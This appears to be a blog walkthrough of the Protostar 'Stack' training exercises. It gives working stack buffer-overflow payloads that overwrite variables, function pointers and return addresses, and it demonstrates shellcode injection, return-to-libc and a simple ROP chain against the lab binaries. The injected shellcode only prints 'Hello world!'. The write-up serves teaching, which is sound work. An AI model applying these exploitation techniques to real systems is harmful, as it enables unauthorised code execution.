tick.Tack

Protostar: Stack

Stack0

Since Stack0 only needs to change the modified variable to be a non-zero value. All you need to do is, to overflow the buffer variable with more than 64 characters.

user@protostar:/opt/protostar/bin$ python -c 'print "A"*64 + "AAAA"' | ./stack0
you have changed the 'modified' variable

Stack1

Stack1 asks us to change the modified variable to a specific hexadecimal number: 0x61626364, which can be translated to ASCII as “abcd”. The hint says that “Protostar is little endian”. So we’ll need to have the string text in reverse order.

user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "A"*64+"dcba"'`
you have correctly got the variable to the right value

Stack2

Not like Stack0 and Stack1. Stack2 reads the environment variable from the system, then use it to change the modified variable. This time we will set the GREENIE environment variable, and let the program work itself.

user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Stack3

This time, we’re going to modify a function pointer. If we overflow the fp with a wrong address, the program might crash immediately.

Calling the win() function is our goal. We need the fp to be overwritten with the address of win(). So our first step is to find out the address.

There are two ways to achieve this goal. We can use objdump or gdb to read out the address.

Using objdump:

user@protostar:/opt/protostar/bin$ objdump -D stack3 | grep -A7 win
08048424 <win>:
 8048424:       55                      push   %ebp
 8048425:       89 e5                   mov    %esp,%ebp
 8048427:       83 ec 18                sub    $0x18,%esp
 804842a:       c7 04 24 40 85 04 08    movl   $0x8048540,(%esp)
 8048431:       e8 2a ff ff ff          call   8048360 <puts@plt>
 8048436:       c9                      leave
 8048437:       c3                      ret

Using gdb:

user@protostar:/opt/protostar/bin$ gdb -q stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) p win
$1 = {void (void)} 0x8048424 <win>

With both methods, we know the address of win() is 0x8048424. Now we can build our string to exploit Stack3.

user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack4

Stack4 is similar to Stack3. But this time our target has changed to0 the saved EIP.

First we still need to find out the address of win().

user@protostar:/opt/protostar/bin$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) p win
$1 = {void (void)} 0x80483f4 <win>

We need to use gdb to find out the offset from buffer variable to EIP. Since the program will crash while accessing an illegal address, we can build a non-repeating string to locate the offset of EIP.

python -c 'print "A"*64+"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"' > /tmp/stack4

After we built the string, now we can run stack4 in gdb to check the result.

user@protostar:/opt/protostar/bin$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run < /tmp/stack4
Starting program: /opt/protostar/bin/stack4 < /tmp/stack4

Program received signal SIGSEGV, Segmentation fault.
0x48474644 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x48474644

Here we can see that stack4 crashed when the EIP pointed to 0x48474644, which is the reverse order of the string “DFGH”. Now we know the offset from the end of buffer variable to EIP is 12. It’s time to build the final string and run against stack4.

user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"B"*12+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

We have successfully called the win() function, but the program still crashed. That is because, although we direct the flow to win(), it still needs an appropriate return address while exiting from win(). We will discuss this issue later.

Stack5

In Stack5, we don’t have any targets to direct to. This is where the shellcode comes in. As the hint says, it might be easier to use someone elses shellcode. I’ll use a shellcode I found here, which prints “Hello World!” to screen.

Let’s begin with finding the offset to EIP. We’ll use the same non-repeating string from Stack4 for it.

user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run < /tmp/stack4
Starting program: /opt/protostar/bin/stack5 < /tmp/stack4

Program received signal SIGSEGV, Segmentation fault.
0x48474644 in ?? ()

The result is the same as Stack4, the offset to EIP is still 12. But, what value should we put in EIP?

This time, we will put our shellcode in the buffer variable, and direct the EIP to point to the address of it. Once the EIP hit the address of buffer, it will run our shellcode as we expected.

We can find the address of buffer by setting a breakpoint in main. Let’s set the breakpoint right before the gets() get called.

user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) r
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffff824) at stack5/stack5.c:10
10      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) p &buffer
$1 = (char (*)[64]) 0xbffff788

Now we have the address of buffer: 0xbffff788. We can build the final string and run against Stack5.

user@protostar:/opt/protostar/bin$ python -c 'print "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello world!"+"\x00"*12+"B"*12+"\x88\xf7\xff\xbf"' | ./stack5
Hello world!

Stack6

This time, we have a restriction on the return address. The first byte of return address cannot be 0xbf.

Let’s get the address of buffer and the EIP first.

user@protostar:/opt/protostar/bin$ gdb -q stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) run < /tmp/stack4
Starting program: /opt/protostar/bin/stack6 < /tmp/stack4
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJKLZTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm

Program received signal SIGSEGV, Segmentation fault.
0x5a4c4b4a in ?? ()

“0x5a4c4b4a” is “JKLZ” in reverse order. The offset here is 16.

user@protostar:/opt/protostar/bin$ gdb -q stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disas getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   %ebp
0x08048485 <getpath+1>: mov    %esp,%ebp
0x08048487 <getpath+3>: sub    $0x68,%esp
0x0804848a <getpath+6>: mov    $0x80485d0,%eax
0x0804848f <getpath+11>:        mov    %eax,(%esp)
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    0x8049720,%eax
0x0804849c <getpath+24>:        mov    %eax,(%esp)
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:        mov    %eax,(%esp)
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
---snip---
(gdb) b *0x080484aa
Breakpoint 1 at 0x80484aa: file stack6/stack6.c, line 13.
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please:
Breakpoint 1, 0x080484aa in getpath () at stack6/stack6.c:13
13      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) p &buffer
$1 = (char (*)[64]) 0xbffff6fc

The address of buffer is “0xbffff6fc”. Now let’s build the string to run the “Hello World!” shellcode.

user@protostar:/opt/protostar/bin$ python -c 'print "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello world!"+"\x00"*12+"B"*16+"\xfc\xf6\xff\xbf"' | ./stack6
input path please: bzzzt (0xbffff71c)

Oops! We are caught using return address starts with 0xbf.

Stack6 can be done in a couple ways:

  1. finding the duplicate of payload.
  2. ret2libc (Return to LibC)
  3. ROP (Return Oriented Programming)

I’ll use “Return to LibC” to exploit in this case.

Ret2LibC

I’ll make the program to print out “Hello World!” with the write() function. First of all, we need to know the address of write().

user@protostar:/opt/protostar/bin$ gdb stack6 -q
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff804) at stack6/stack6.c:27
27      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) p write
$1 = {<text variable, no debug info>} 0xb7f53c70 <write>

By returing to write(), we’ll need to make the call stack looks like a real function call.

write(1, "Hello World!");

The first parameter “1” stands for STDOUT, so the string will be directly printed out on the screen. And the second parameter will be the address pointed to the string we want. Now let’s build the final payload.

user@protostar:/opt/protostar/bin$ python -c 'print "Hello World!\n"+"\x00"*67+"\x70\x3c\xf5\xb7"+"\xfc\xf6\xff\xbf"+"\x01\x00\x00\x00"' | ./stack6
input path please: got path Hello World!

Stack7

The restriction on Stack7 became a nightmare, we can’t even return to address starts with 0xb. This time, we will solve Stack7 with ROP attack.

Just like we have done many times, it’s easy to dig out the address of buffer: “0xbffff78c”. The most important thing is, we need some “gadget” to return to our shellcode. And we can do it just by reading the output of objdump.

user@protostar:/opt/protostar/bin$ objdump -D stack7 |grep -A 7 main
--snip--
08048545 <main>:
 8048545:       55                      push   %ebp
 8048546:       89 e5                   mov    %esp,%ebp
 8048548:       83 e4 f0                and    $0xfffffff0,%esp
 804854b:       e8 74 ff ff ff          call   80484c4 <getpath>
 8048550:       89 ec                   mov    %ebp,%esp
 8048552:       5d                      pop    %ebp
 8048553:       c3                      ret

Usually, ROP attack is composed with bunch of “gadgets” - machine instruction sequences ends with return instruction. But, since Stack7 is not that complicated, the return instruction here just suits our needs.

We can re-use the payload from Stack5, just need to insert the address of the return instruction right before the address of buffer.

user@protostar:/opt/protostar/bin$ python -c 'print "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello world!"+"\x00"*12+"B"*16+"\x53\x85\x04\x08"+"\x8c\xf7\xff\xbf"' |  ./stack7 -s
input path please: got path ▒
Hello world!